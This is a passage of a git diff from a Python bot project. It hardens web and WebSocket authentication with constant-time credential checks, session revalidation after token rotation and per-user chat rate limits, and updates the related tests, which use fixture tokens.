provenance.""" +import hmac + + +def credential_equals(left: str, right: str) -> bool: + """Constant-time comparison supporting every configured UTF-8 credential.""" + return hmac.compare_digest(left.encode("utf-8"), right.encode("utf-8")) + + +def resolve_credential(config, snapshot, token: str): + """Dynamic, then static, then legacy: identical precedence on all carriers.""" + recovery = getattr(snapshot, "credential_store_auth_required", False) is True + resolver = getattr(snapshot, "resolve", None) + identity = resolver(token) if token and callable(resolver) and not recovery else None + if identity is not None: + return identity, "dynamic" + for entry in getattr(config, "api_tokens", ()): + if entry.token and credential_equals(entry.token, token): + # Keep old configurations loadable, but never elevate a typo. + if entry.tier not in {"admin", "user", "guest"}: + return None, "invalid" + return entry, "static" + identity = config.resolve_api_identity(token) if config is not None else None + return (identity, "legacy") if identity is not None else (None, "unknown") + + +def current_session_identity(sessions, sid, config, snapshot): + """Revalidate only the credential which issued this session, never its ID.""" + if not sessions.validate(sid, touch=False): + return None + origin = sessions.get_identity(sid) + source = sessions.get_auth_source(sid) + current = None + if source == "dynamic" and snapshot is not None: + if snapshot.identity_is_current(origin): + current = origin + elif source in {"static", "legacy"} and origin is not None: + if source == "static": + current = next((entry for entry in getattr(config, "api_tokens", ()) + if entry.user_id == origin.user_id and entry.token + and credential_equals(entry.token, origin.token) + and entry.tier in {"admin", "user", "guest"}), None) + elif getattr(config, "api_token", "") and credential_equals(config.api_token, origin.token): + from ..config.schema import ApiTokenIdentity + current = ApiTokenIdentity(token=config.api_token, user_id="api-admin", + username="Admin", tier="admin", label="default") + if current is None: + sessions.destroy(sid) + return current diff --git a/src/web/computer_binding.py b/src/web/computer_binding.py index 711f9b7ec..eae8d2e0d 100644 --- a/src/web/computer_binding.py +++ b/src/web/computer_binding.py @@ -10,6 +10,7 @@ from typing import Any from ..permissions.host_access import HostAccessManager +from .authentication import credential_equals def browser_binding(bot, request): @@ -32,7 +33,7 @@ def browser_binding(bot, request): and original is not None and tokens.identity_is_current(original)) static = next((i for i in bot.config.web.api_tokens - if credential and hmac.compare_digest(i.token, credential)), None) + if credential and credential_equals(i.token, credential)), None) legacy_digest = hashlib.sha256(bot.config.web.api_token.encode()).digest() hosts = getattr(identity, "allowed_hosts", None) hosts = None if hosts is None else tuple(hosts) @@ -51,9 +52,9 @@ def current(): return False elif static is not None: value = next((i for i in bot.config.web.api_tokens - if hmac.compare_digest(i.token, credential)), None) + if credential_equals(i.token, credential)), None) elif (owner == "api-admin" and credential and bot.config.web.api_token - and hmac.compare_digest(credential, bot.config.web.api_token)): + and credential_equals(credential, bot.config.web.api_token)): if not hmac.compare_digest( legacy_digest, hashlib.sha256(bot.config.web.api_token.encode()).digest()): return False diff --git a/src/web/onboarding.py b/src/web/onboarding.py index 6ee74621e..1ca0758bc 100644 --- a/src/web/onboarding.py +++ b/src/web/onboarding.py @@ -198,8 +198,8 @@ async def submit( before: Any = before_config after: Any = after_config for segment in path: - before = before[segment] - after = after[segment] + before = before.get(segment) if isinstance(before, dict) else None + after = after.get(segment) if isinstance(after, dict) else None name = ".".join(path) if before != after and name not in restart_required: restart_required.append(name) diff --git a/src/web/websocket.py b/src/web/websocket.py index 01299a572..b6f63908d 100644 --- a/src/web/websocket.py +++ b/src/web/websocket.py @@ -14,6 +14,7 @@ import binascii import hmac import json +import time from contextlib import asynccontextmanager from copy import deepcopy from dataclasses import dataclass, field @@ -26,6 +27,7 @@ from ..error_presentation import format_user_facing_error from ..odin_log import get_logger +from .authentication import credential_equals, current_session_identity, resolve_credential from .chat import MAX_CHAT_CONTENT_LEN, process_web_chat if TYPE_CHECKING: @@ -98,6 +100,7 @@ class _CredentialPolicy: generation: int legacy_digest: bytes = b"" bearer: str = field(default="", repr=False) + issued_identity: object = field(default=None, repr=False) class WebSocketManager: @@ -132,6 +135,7 @@ def __init__( # stream write. The same fence covers initial tails and event delivery. self._policy_lock = asyncio.Lock() self._policy_generations: dict[str, int] = {} + self._chat_buckets: dict[tuple[str, str], tuple[float, int]] = {} def _current_web_config(self): """Return published Web config instead of setup-time auth state.""" @@ -215,6 +219,25 @@ async def policy_change(self, user_id: str): self._event_subscribers.discard(ws) def _policy_authorized(self, ws: web.WebSocketResponse) -> bool: + authorized = self._credential_authorized(ws) + credential = getattr(ws, "_odin_credential_policy", None) + if not authorized and isinstance(credential, _CredentialPolicy): + # A transport which observed revoked authority is terminal. Restoring + # the old static/legacy value must not revive its subscriptions/chat. + ws._odin_policy_revoked = True # type: ignore[attr-defined] + # Dynamic identities already have an irreversible store-era fence. + # Static/legacy sessions need destruction when this socket is the + # first consumer to observe the changed configured credential. + if (credential.source in {"static", "legacy"} + and getattr(ws, "_odin_session_managed", False) + and self._session_manager is not None): + current_session_identity( + self._session_manager, ws._odin_session_id, # type: ignore[attr-defined] + self._current_web_config(), self._auth_snapshot(self._token_manager(ws)), + ) + return authorized + + def _credential_authorized(self, ws: web.WebSocketResponse) -> bool: manager = self._token_manager(ws) snapshot = self._auth_snapshot(manager) if getattr(ws, "_odin_policy_revoked", False) or not self._session_is_valid( @@ -236,6 +259,8 @@ def _policy_authorized(self, ws: web.WebSocketResponse) -> bool: if credential.source == "dynamic": if snapshot is None: return False + if credential.issued_identity is not None: + return snapshot.identity_is_current(credential.issued_identity) current = ( snapshot.resolve(credential.bearer) if credential.bearer @@ -248,6 +273,7 @@ def _policy_authorized(self, ws: web.WebSocketResponse) -> bool: i for i in getattr(config, "api_tokens", ()) if i.user_id == credential.user_id + and _policy_fingerprint(i) == credential.fingerprint ), None, ) @@ -394,23 +420,17 @@ async def _watch_session_expiry(self, session_id: str) -> None: if self._session_expiry_tasks.get(session_id) is current: self._session_expiry_tasks.pop(session_id, None) - @staticmethod - def _chat_rate_limited(ws: web.WebSocketResponse) -> bool: + def _chat_rate_limited(self, ws: web.WebSocketResponse) -> bool: """Count every chat frame, including rejections while one is busy.""" - import time as _time - - now = _time.monotonic() - window_start = getattr(ws, "_chat_window_start", None) - if ( - window_start is None - or not isinstance(window_start, (int, float)) - or now - window_start > _WS_CHAT_RATE_WINDOW - ): - ws._chat_window_start = now # type: ignore[attr-defined] # sanctioned dynamic attr - ws._chat_count = 0 # type: ignore[attr-defined] # sanctioned dynamic attr - chat_count = getattr(ws, "_chat_count", None) - ws._chat_count = (chat_count + 1) if isinstance(chat_count, int) else 1 # type: ignore[attr-defined] # sanctioned dynamic attr - return ws._chat_count > _WS_CHAT_RATE_LIMIT # type: ignore[attr-defined] # sanctioned dynamic attr + now = time.monotonic() + self._chat_buckets = {key: bucket for key, bucket in self._chat_buckets.items() + if now - bucket[0] < _WS_CHAT_RATE_WINDOW} + identity = getattr(ws, "_odin_identity", None) + key = (getattr(identity, "user_id", "") or "development", + getattr(ws, "_odin_client_ip", "")) + window_start, count = self._chat_buckets.get(key, (now, 0)) + self._chat_buckets[key] = (window_start, count + 1) + return count + 1 > _WS_CHAT_RATE_LIMIT async def _start_chat(self, ws: web.WebSocketResponse, data: dict) -> None: if self._chat_rate_limited(ws): @@ -441,23 +461,17 @@ def _resolve_identity(self, token: str, request=None, *, token_snapshot=None): """Resolve an ApiTokenIdentity from a raw token string.""" if self._session_manager: if self._session_manager.validate(token): - identity = self._session_manager.get_identity(token) + identity = current_session_identity( + self._session_manager, token, self._current_web_config(), token_snapshot + ) if identity is not None: return identity tm = token_snapshot if tm is None: manager = request.app.get("token_manager") if request else None tm = self._auth_snapshot(manager or self._token_manager()) - if tm: - identity = tm.resolve(token) - if identity is not None: - return identity config = self._current_web_config() - if config and hasattr(config, "resolve_api_identity"): - identity = config.resolve_api_identity(token) - if identity is not None: - return identity - return None + return resolve_credential(config, tm, token)[0] async def handle(self, request: web.Request) -> web.WebSocketResponse: """Handle a WebSocket connection at /api/ws. @@ -525,7 +539,7 @@ async def handle(self, request: web.Request) -> web.WebSocketResponse: elif self._current_web_config() is None and self._usable_credential( self._api_token ): - valid = hmac.compare_digest(token, self._api_token) + valid = credential_equals(token, self._api_token) elif getattr(request, "_session_managed", False) and self._session_manager is not None: session_id = getattr(request, "_session_id", "") valid = bool(session_id and self._session_manager.validate(session_id)) @@ -543,7 +557,15 @@ async def handle(self, request: web.Request) -> web.WebSocketResponse: protocols=(offered_protocol,) if offered_protocol else (), ) ws._odin_session_id = getattr(request, "_session_id", None) or "ws-anon" # type: ignore[attr-defined] # sanctioned dynamic attr + from ..health.server import _client_ip + trusted = tuple(getattr(self._current_web_config(), "trusted_proxies", ())) + ws._odin_client_ip = _client_ip(request, trusted) # type: ignore[attr-defined] ws._odin_session_managed = bool(getattr(request, "_session_managed", False)) # type: ignore[attr-defined] # sanctioned dynamic attr + if (not ws._odin_session_managed and token and self._session_manager is not None # type: ignore[attr-defined] + and hasattr(self._session_manager, "contains") + and self._session_manager.contains(token)): + ws._odin_session_id = token # type: ignore[attr-defined] + ws._odin_session_managed = True # type: ignore[attr-defined] source = "unknown" config = self._current_web_config() legacy = getattr(config, "api_token", "") if config is not None else self._api_token @@ -557,38 +579,12 @@ async def handle(self, request: web.Request) -> web.WebSocketResponse: session_identity = self._session_manager.get_identity(ws._odin_session_id) # type: ignore[attr-defined] presented = getattr(session_identity, "token", "") identity = session_identity - # Legacy middleware has precedence over the token stores. A duplicate - # user ID must not change which credential actually authenticated us. - if legacy and hmac.compare_digest(presented, legacy): + if ws._odin_session_managed: # type: ignore[attr-defined] + source = self._session_manager.get_auth_source(ws._odin_session_id) or "unknown" # type: ignore[attr-defined] + elif config is not None: + identity, source = resolve_credential(config, token_snapshot, presented) + elif legacy and credential_equals(presented, legacy): source = "legacy" - elif identity is not None: - candidate = ( - token_snapshot.resolve(presented) - if token_snapshot and presented - else None - ) - if ( - candidate is None - and token_snapshot - and session_identity is not None - and not presented - ): - candidate = token_snapshot.get(identity.user_id) - if candidate is not None: - source = "dynamic" - identity = candidate - if ( - source == "unknown" - and config - and any( - i.user_id == identity.user_id and i.token == presented - for i in getattr(config, "api_tokens", ()) - ) - ): - source = "static" - identity = next( - i for i in getattr(config, "api_tokens", ()) if i.token == presented - ) if source == "unknown": if ( legacy @@ -596,8 +592,10 @@ async def handle(self, request: web.Request) -> web.WebSocketResponse: and (getattr(identity, "user_id", None) == "api-admin" or identity is None) ): source = "legacy" - elif ws._odin_session_managed and not presented: # type: ignore[attr-defined] - source = "session" + elif identity is None and not self._authentication_required( + token_snapshot=token_snapshot + ): + source = "development" elif ( identity is None and not legacy @@ -618,6 +616,7 @@ async def handle(self, request: web.Request) -> web.WebSocketResponse: self._policy_generations.get(uid, 0), sha256(legacy.encode()).digest() if source == "legacy" else b"", presented if source == "dynamic" and not ws._odin_session_managed else "", # type: ignore[attr-defined] + identity if source == "dynamic" and ws._odin_session_managed else None, # type: ignore[attr-defined] ) # Do not hold the publication fence across a network handshake. Bind # provenance before suspension, then check and register under that fence. diff --git a/tests/characterization/test_api_route_parity.py b/tests/characterization/test_api_route_parity.py index 711761267..ca8d8e757 100644 --- a/tests/characterization/test_api_route_parity.py +++ b/tests/characterization/test_api_route_parity.py @@ -117,12 +117,6 @@ ("POST", "/api/mcp/enabled", "set_mcp_enabled"), ("POST", "/api/mcp/limits", "set_mcp_publication_limits"), ("POST", "/api/mcp/servers/{name}/enabled", "set_mcp_server_enabled"), - ("GET", "/api/grafana-alerts/status", "grafana_alerts_status"), - ("GET", "/api/grafana-alerts/history", "grafana_alerts_history"), - ("GET", "/api/grafana-alerts/rules", "grafana_alerts_rules"), - ("POST", "/api/grafana-alerts/rules", "grafana_alerts_add_rule"), - ("DELETE", "/api/grafana-alerts/rules/{rule_id}", "grafana_alerts_delete_rule"), - ("GET", "/api/grafana-alerts/remediations", "grafana_alerts_remediations"), ("GET", "/api/knowledge", "list_knowledge"), ("POST", "/api/knowledge", "ingest_knowledge"), ("DELETE", "/api/knowledge/{source}", "delete_knowledge"), @@ -285,7 +279,7 @@ class TestRouteTableParity: def test_exact_route_list_and_order(self): actual = _routes() expected = [tuple(e) for e in EXPECTED_ROUTES] - assert len(actual) == len(expected) == 237 + assert len(actual) == len(expected) == 231 # set equality first for a readable diff on failure missing = set(expected) - set(actual) added = set(actual) - set(expected) diff --git a/tests/characterization/test_autonomous_loop.py b/tests/characterization/test_autonomous_loop.py index d5102f51b..8683194e3 100644 --- a/tests/characterization/test_autonomous_loop.py +++ b/tests/characterization/test_autonomous_loop.py @@ -224,7 +224,7 @@ async def test_llm_error_text_sanitized_for_reflection_and_response(self): assert " set[str]: diff --git a/tests/test_agent_campaign.py b/tests/test_agent_campaign.py new file mode 100644 index 000000000..e15e0ab67 --- /dev/null +++ b/tests/test_agent_campaign.py @@ -0,0 +1,122 @@ +import asyncio +import json +from unittest.mock import AsyncMock + +import pytest + +from src.agents.manager import AgentManager +from src.agents.repetition import RepetitionGuard +from src.agents.results import read_result +from src.agents.tool_cycle import result_record +from src.agents.trajectory import AgentTrajectorySaver +from src.config.schema import Config +from src.tools import get_tool_definitions +from src.tools.agent_tool_policy import apply_agent_axis_policy +from src.tools.executor import ToolExecutor +from src.tools.media_result import BinaryAttachment +from src.tools.output_delivery import RankedOutput, deliver +from src.tools.output_retention import OutputStore +from src.tools.result_validator import ToolResult +from src.tools.runtime_delivery import deliver_runtime_result + + +def test_full_canonical_digest_ignores_fresh_retention_ids(tmp_path): + store = OutputStore(tmp_path / "evidence.sqlite") + guard = RepetitionGuard() + call = {"id": "call", "name": "run_command", "input": {"command": "status"}} + decisions, ids = [], [] + for _ in range(4): + output = deliver("same evidence\n" * 4000, store=store, owner="user", tool=call["name"]) + ids.append(json.loads(output)["result_id"]) + record = result_record(call, output, "succeeded") + decisions.append(guard.observe([call], [record])) + assert len(set(ids)) == 4 + assert decisions == ["", "", "nudge", "stop"] + + +def test_same_preview_different_hidden_evidence_resets_guard(tmp_path): + store = OutputStore(tmp_path / "evidence.sqlite") + guard = RepetitionGuard() + call = {"id": "call", "name": "run_command", "input": {}} + for hidden in ("first", "second", "third", "fourth"): + output = deliver("prefix\n" * 4000 + hidden + "\nsuffix" * 4000, + store=store, owner="user", tool=call["name"]) + record = result_record(call, output, "succeeded") + assert guard.observe([call], [record]) == "" + + +def test_binary_retention_digest_compares_full_bytes_not_manifest_ids(tmp_path): + executor = ToolExecutor() + executor._output_store = OutputStore(tmp_path / "binary.sqlite") + call = {"id": "call", "name": "fetch_url", "input": {}} + guard = RepetitionGuard() + def capture(data): + return deliver_runtime_result(executor, ToolResult( + output="attachment", attachments=(BinaryAttachment(1, "audio", "audio/wav", data),)), + tool_name=call["name"], tool_input={}, user_id="user") + outputs = [capture(b"full bytes") for _ in range(4)] + assert len({out.output for out in outputs}) == 4 + assert [guard.observe([call], [result_record(call, out.output, "succeeded")]) + for out in outputs] == ["", "", "nudge", "stop"] + changed = capture(b"different bytes") + assert guard.observe([call], [result_record(call, changed.output, "succeeded")]) == "" + + +def test_ranked_canonical_digest_uses_full_matches_not_summary(tmp_path): + store = OutputStore(tmp_path / "ranked.sqlite") + one = deliver(RankedOutput("same summary", matches=("full first match",)), + store=store, owner="user") + two = deliver(RankedOutput("same summary", matches=("full second match",)), + store=store, owner="user") + assert one.evidence_digest != two.evidence_digest + + +async def test_cancel_before_coroutine_entry_settles_and_persists(tmp_path): + manager = AgentManager() + iteration, tool = AsyncMock(), AsyncMock() + saver = AgentTrajectorySaver(directory=str(tmp_path)) + saved = asyncio.Event() + original_save = saver.save + + async def save_and_signal(trajectory): + await original_save(trajectory) + saved.set() + + saver.save = save_and_signal + aid = manager.spawn(label="unstarted", goal="never run", channel_id="test", + requester_id="user", requester_name="User", + iteration_callback=iteration, tool_executor_callback=tool, + trajectory_saver=saver) + agent = manager._agents[aid] + manager.kill(aid) + with pytest.raises(asyncio.CancelledError): + await agent._task + await asyncio.sleep(0) + assert agent.status == "killed" + assert agent.ended_at is not None + assert manager.active_count == 0 + iteration.assert_not_awaited() + tool.assert_not_awaited() + cleanup = manager._cleanup_tasks[aid] + # Let the real saver finish before deliberately retiring the agent. + await asyncio.wait_for(saved.wait(), timeout=2) + assert manager._remove_agent(aid, source="test") + result = read_result(tmp_path, aid) + assert result["status"] == "killed" + trajectory_path = next(tmp_path.glob("*.jsonl")) + trajectory = json.loads(trajectory_path.read_text().splitlines()[0]) + assert trajectory["final_state"] == "killed" + assert trajectory["iteration_count"] == 0 + if not cleanup.done(): + cleanup.cancel() + + +def test_default_codex_catalog_preserves_authored_model_selection_hint(): + config = Config(discord={"token": ""}, openai_codex={"enabled": True}, + agents={"model": "auto", "model_selection_hints": { + "gpt-6.1-sol": "UNIQUE operator precision hint"}}) + definitions = apply_agent_axis_policy(get_tool_definitions(), config) + spawn = next(d for d in definitions if d["name"] == "spawn_agent") + assert "UNIQUE operator precision hint" in spawn["description"] + model_desc = spawn["input_schema"]["properties"]["model"]["description"] + assert "UNIQUE operator precision hint" in model_desc diff --git a/tests/test_agent_trajectory.py b/tests/test_agent_trajectory.py index e3fae4435..a414aa93f 100644 --- a/tests/test_agent_trajectory.py +++ b/tests/test_agent_trajectory.py @@ -423,20 +423,18 @@ async def test_search_combined_filters(self, tmp_path): assert results[0]["agent_id"] == "a1" -class TestAgentTrajectorySaverMetrics: - def test_prometheus_metrics(self, tmp_path): +class TestAgentTrajectorySaverCount: + def test_initial_count(self, tmp_path): saver = AgentTrajectorySaver(directory=str(tmp_path)) - metrics = saver.get_prometheus_metrics() - assert metrics == {"agent_trajectories_saved_total": 0} + assert saver.count == 0 - async def test_prometheus_metrics_after_saves(self, tmp_path): + async def test_count_after_saves(self, tmp_path): saver = AgentTrajectorySaver(directory=str(tmp_path)) for i in range(3): turn = AgentTrajectoryTurn(agent_id=f"a{i}") turn.finalize(final_state="completed") await saver.save(turn) - metrics = saver.get_prometheus_metrics() - assert metrics == {"agent_trajectories_saved_total": 3} + assert saver.count == 3 # --------------------------------------------------------------------------- diff --git a/tests/test_agent_transcript_contract.py b/tests/test_agent_transcript_contract.py index 9bb697f20..5e3883a3f 100644 --- a/tests/test_agent_transcript_contract.py +++ b/tests/test_agent_transcript_contract.py @@ -214,14 +214,14 @@ async def execute(name, args): assert [r["status"] for r in records] == [ "invalid_arguments", "denied", - "failed", + "outcome_unknown", "timed_out", "succeeded", "interrupted", "not_executed", ] assert [r["tool_use_id"] for r in records] == [str(i) for i in range(7)] - assert records[3]["uncertain_outcome"] and records[5]["uncertain_outcome"] + assert all(records[i]["uncertain_outcome"] for i in (2, 3, 5)) assert not records[-1]["uncertain_outcome"] assert isinstance(turn.to_dict()["iterations"][0]["llm_text"], str) diff --git a/tests/test_agents_tasks_provider_paths.py b/tests/test_agents_tasks_provider_paths.py index 39d42aedb..0f8baf6e0 100644 --- a/tests/test_agents_tasks_provider_paths.py +++ b/tests/test_agents_tasks_provider_paths.py @@ -225,7 +225,7 @@ async def test_agent_generate_uses_thinking_and_compat_request_controls(): tools = object.__new__(mod.AgentTaskTools) tools._llm_gateway = gateway - async def fake_recovery(attempt, *, policy, breaker): + async def fake_recovery(attempt, *, policy, breaker, generation_client=None): return await attempt() original = mod.generate_with_recovery diff --git a/tests/test_apply_registry.py b/tests/test_apply_registry.py index d87346aca..a368bd05d 100644 --- a/tests/test_apply_registry.py +++ b/tests/test_apply_registry.py @@ -186,7 +186,7 @@ def test_removed_noop_switches_are_absent_and_siblings_require_restart(self): facts = schema_facts() # Includes managed activation and its qualified companion manifest. - assert len(facts) == 323 # Slack was removed from the schema. + assert len(facts) == 310 # Native monitoring removed; explicit email TLS policy added. assert "openai_compatible.openrouter.model_pins" in facts assert "openai_compatible.openrouter.catalogue_profiles" in facts assert "mcp.max_published_tools_per_server" in facts @@ -206,10 +206,6 @@ def test_removed_noop_switches_are_absent_and_siblings_require_restart(self): for path in ( "graceful_degradation.degraded_threshold", "graceful_degradation.unavailable_threshold", - "grafana_alerts.auto_remediate", - "grafana_alerts.rules", - "grafana_alerts.cooldown_seconds", - "grafana_alerts.max_concurrent_remediations", ): spec = spec_for(path) assert spec.apply_mode == "restart", path diff --git a/tests/test_attachments.py b/tests/test_attachments.py index 4e0158b37..2e419416a 100644 --- a/tests/test_attachments.py +++ b/tests/test_attachments.py @@ -271,7 +271,7 @@ class TestPdfHandler: async def test_size_limit(self, tmp_path): p = AttachmentProcessor(temp_dir=str(tmp_path), pdf_max_bytes=10) parts: list = [] - await p._handle_pdf(_mock_attachment("big.pdf", 999), parts, AttachmentResult()) + await p._handle_pdf(_mock_attachment("big.pdf", 999), "c", "m", parts, AttachmentResult()) assert "exceeds limit" in parts[0] @pytest.mark.asyncio @@ -286,7 +286,7 @@ def close(self): parts: list = [] with patch.dict(sys.modules, {"fitz": SimpleNamespace(open=lambda **k: _Doc())}): await p._handle_pdf(_mock_attachment("doc.pdf", 4, data=b"%PDF"), - parts, AttachmentResult()) + "c", "m", parts, AttachmentResult()) assert "pdf body" in parts[0] and "1 pages" in parts[0] @pytest.mark.asyncio @@ -295,7 +295,7 @@ async def test_failure(self, tmp_path): boom = SimpleNamespace(open=lambda **k: (_ for _ in ()).throw(RuntimeError("bad"))) parts: list = [] with patch.dict(sys.modules, {"fitz": boom}): - await p._handle_pdf(_mock_attachment("doc.pdf", 4), parts, AttachmentResult()) + await p._handle_pdf(_mock_attachment("doc.pdf", 4), "c", "m", parts, AttachmentResult()) assert "failed" in parts[0] diff --git a/tests/test_auth_config_integration_review.py b/tests/test_auth_config_integration_review.py new file mode 100644 index 000000000..366524207 --- /dev/null +++ b/tests/test_auth_config_integration_review.py @@ -0,0 +1,159 @@ +"""Independent real-route integration checks using disposable credentials/files.""" + +from unittest.mock import AsyncMock + +import pytest +from aiohttp.test_utils import TestClient, TestServer + +from src.config.schema import ApiTokenIdentity, WebConfig +from src.permissions.token_manager import ApiTokenManager +from src.web.websocket import WebSocketManager +from tests.test_webauth_campaign_regressions import composition, login + + +@pytest.mark.asyncio +@pytest.mark.parametrize("source", ["legacy", "static"]) +async def test_revoked_browser_socket_cannot_resurrect_after_same_secret_restored( + source, monkeypatch, +): + config = WebConfig(api_token="fixture-original") if source == "legacy" else WebConfig( + api_tokens=[ApiTokenIdentity(token="fixture-original", user_id="fixture-owner")] + ) + bot, sessions, app = composition(config) + manager = WebSocketManager(bot, session_manager=sessions, web_config=config) + app.router.add_get("/api/ws", manager.handle) + chat = AsyncMock(return_value={"response": "fixture"}) + monkeypatch.setattr("src.web.websocket.process_web_chat", chat) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "fixture-original") + ws = await client.ws_connect("/api/ws", headers={"Authorization": f"Bearer {sid}"}) + if source == "legacy": + config.api_token = "fixture-rotated" + else: + config.api_tokens[0].token = "fixture-rotated" + await ws.send_json({"type": "chat", "content": "must refuse"}) + assert "authorization changed" in (await ws.receive_json(timeout=2))["error"] + if source == "legacy": + config.api_token = "fixture-original" + else: + config.api_tokens[0].token = "fixture-original" + # A refusal ended this transport's authority, not a temporary suspension. + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert response.status == 401 + assert not sessions.contains(sid) + assert chat.await_count == 0 + await ws.close() + await manager.close_all() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("source", ["legacy", "static"]) +async def test_revoked_raw_socket_never_regains_authority(source): + config = WebConfig(api_token="fixture-original") if source == "legacy" else WebConfig( + api_tokens=[ApiTokenIdentity(token="fixture-original")] + ) + bot, sessions, app = composition(config) + manager = WebSocketManager(bot, session_manager=sessions, web_config=config) + app.router.add_get("/api/ws", manager.handle) + async with TestClient(TestServer(app)) as client: + ws = await client.ws_connect( + "/api/ws", headers={"Authorization": "Bearer fixture-original"} + ) + if source == "legacy": + config.api_token = "fixture-rotated" + else: + config.api_tokens[0].token = "fixture-rotated" + await ws.send_json({"subscribe": "events"}) + assert "error" in await ws.receive_json(timeout=2) + if source == "legacy": + config.api_token = "fixture-original" + else: + config.api_tokens[0].token = "fixture-original" + await ws.send_json({"subscribe": "events"}) + assert "error" in await ws.receive_json(timeout=2) + await ws.close() + await manager.close_all() + + +@pytest.mark.asyncio +async def test_generic_new_profile_alias_persists_reloadable_validated_entry(tmp_path, monkeypatch): + from aiohttp import web + + from src.config import schema + from src.config.schema import Config, load_config + from src.web.api.config_admin import register_discord_config + from tests.test_web_api_config_admin import _bot + + monkeypatch.setattr(schema, "_ACTIVE_CONFIG_PATH", None) + monkeypatch.setattr(schema, "_LAUNCH_CONFIG_PATH", None) + path = tmp_path / "config.yml" + path.write_text("discord: {token: fixture}\n") + bot = _bot() + bot.config = load_config(path) + bot.health_server = None + routes = web.RouteTableDef() + register_discord_config(routes, bot) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.put("/api/config", json={ + "openai_compatible": {"model_profiles": { + "fixture/model": {"context_window": 200000, "max_output_tokens": 4000} + }} + }) + assert response.status == 200, await response.text() + profile = bot.config.openai_compatible.model_profiles["fixture/model"] + assert profile.total_window_tokens == 200000 + reloaded = load_config(path) + assert reloaded.openai_compatible.model_profiles["fixture/model"] == profile + assert isinstance(reloaded, Config) + + +@pytest.mark.asyncio +@pytest.mark.parametrize("carrier", ["header", "subprotocol"]) +async def test_three_way_collision_is_dynamic_on_every_carrier(tmp_path, carrier): + import base64 + + tokens = ApiTokenManager(str(tmp_path / "tokens.json")) + dynamic = await tokens.create_token("fixture-owner", tier="user") + config = WebConfig(api_token=dynamic.token, api_tokens=[ + ApiTokenIdentity(token=dynamic.token, user_id="fixture-static", tier="admin") + ]) + bot, sessions, app = composition(config, tokens) + manager = WebSocketManager(bot, session_manager=sessions, web_config=config) + app.router.add_get("/api/ws", manager.handle) + async with TestClient(TestServer(app)) as client: + sid = await login(client, dynamic.token) + assert sessions.get_auth_source(sid) == "dynamic" + response = await client.get( + "/api/probe", headers={"Authorization": f"Bearer {dynamic.token}"} + ) + assert (await response.json())["user"] == dynamic.user_id + encoded = base64.urlsafe_b64encode(dynamic.token.encode()).decode().rstrip("=") + options = ({"headers": {"Authorization": f"Bearer {dynamic.token}"}} if carrier == "header" + else {"protocols": [f"odin.bearer.{encoded}"]}) + ws = await client.ws_connect("/api/ws", **options) + server_ws = next(iter(manager._clients)) + assert server_ws._odin_identity.user_id == dynamic.user_id + assert server_ws._odin_identity.tier == "user" + assert server_ws._odin_credential_policy.source == "dynamic" + await ws.close() + await manager.close_all() + + +@pytest.mark.asyncio +async def test_second_same_id_static_session_real_handshake_survives(): + config = WebConfig(api_tokens=[ + ApiTokenIdentity(token="fixture-first", user_id="same", tier="guest"), + ApiTokenIdentity(token="fixture-second", user_id="same", tier="admin"), + ]) + bot, sessions, app = composition(config) + manager = WebSocketManager(bot, session_manager=sessions, web_config=config) + app.router.add_get("/api/ws", manager.handle) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "fixture-second") + ws = await client.ws_connect("/api/ws", headers={"Authorization": f"Bearer {sid}"}) + await ws.send_json({"subscribe": "events"}) + assert (await ws.receive_json(timeout=2))["type"] == "subscribed" + await ws.close() + await manager.close_all() diff --git a/tests/test_background_task_failure_visibility.py b/tests/test_background_task_failure_visibility.py index 670a4d6ec..dc734e077 100644 --- a/tests/test_background_task_failure_visibility.py +++ b/tests/test_background_task_failure_visibility.py @@ -135,7 +135,9 @@ async def test_nested_invoke_skill_permission_is_checked_for_selected_skill(self side_effect=[None, "Permission denied: selected skill"] ) executor._tool_catalog = MagicMock() - executor._tool_catalog.merged_definitions.return_value = [] + executor._tool_catalog.merged_definitions.return_value = [ + {"name": "selected", "input_schema": {"type": "object"}}, + ] skill_manager = MagicMock() skill_manager.execute = AsyncMock() skill_manager.has_skill.return_value = True diff --git a/tests/test_bootstrap_runtime_bind.py b/tests/test_bootstrap_runtime_bind.py index 8c7e121e5..ca3d1d46f 100644 --- a/tests/test_bootstrap_runtime_bind.py +++ b/tests/test_bootstrap_runtime_bind.py @@ -125,6 +125,8 @@ async def test_pending_setup_gate_has_head_health_and_rejects_traversal(tmp_path server.attach_onboarding(_context(tmp_path)) async with TestClient(TestServer(server._app)) as client: assert (await client.head("/health/live")).status == 200 + # Setup restrictions apply before route resolution, including for + # unknown paths; native route absence is covered separately. assert (await client.get("/metrics")).status == 403 assert (await client.post("/api/auth/login", json={})).status != 403 assert (await client.post("/api/codex/device-code")).status != 403 diff --git a/tests/test_builtin_tool_policy.py b/tests/test_builtin_tool_policy.py index ed26ac121..14a1025a4 100644 --- a/tests/test_builtin_tool_policy.py +++ b/tests/test_builtin_tool_policy.py @@ -133,6 +133,19 @@ class TestDispatchRejection: def _config(self, disabled): return _cfg(disabled) + @pytest.mark.parametrize("name", ["computer_session", "computer_observe", "computer_act"]) + async def test_computer_native_dispatch_rejects_before_owner_lookup(self, name): + dispatcher = NativeToolDispatcher( + owners={}, skill_manager=_FakeSkillManager(), tool_catalog=None, + prompt_builder=None, channel_state=None, + builtin_policy=BuiltinToolPolicy(get_config=lambda: self._config([name])), + ) + result, _effects = await dispatcher.dispatch( + name, {}, message=SimpleNamespace(author="x"), user_id="u", skill_file_delivery=None + ) + assert not result.ok + assert result.error == "tool_disabled" + async def test_executor_rejects_before_handler(self): executor = ToolExecutor(ToolsConfig()) executor.set_builtin_policy( @@ -283,6 +296,18 @@ def _disk_disabled(config_path: Path) -> list: class TestToolsManagementRoutes: + @pytest.mark.parametrize("name", ["computer_session", "computer_observe", "computer_act"]) + async def test_computer_toggle_is_accepted_and_enforced(self, tools_api, name): + client, bot, config_path = tools_api + response = await client.post( + f"/api/tools/builtins/{name}/enabled", json={"enabled": False} + ) + assert response.status == 200 + assert name in _disk_disabled(config_path) + assert bot.builtin_tool_policy.is_disabled(name) + row = next(t for t in (await response.json())["tools"] if t["name"] == name) + assert row["state"] == "disabled" + async def test_inventory_covers_all_builtins_with_states(self, tools_api): client, bot, _ = tools_api response = await client.get("/api/tools/builtins") diff --git a/tests/test_bulkhead.py 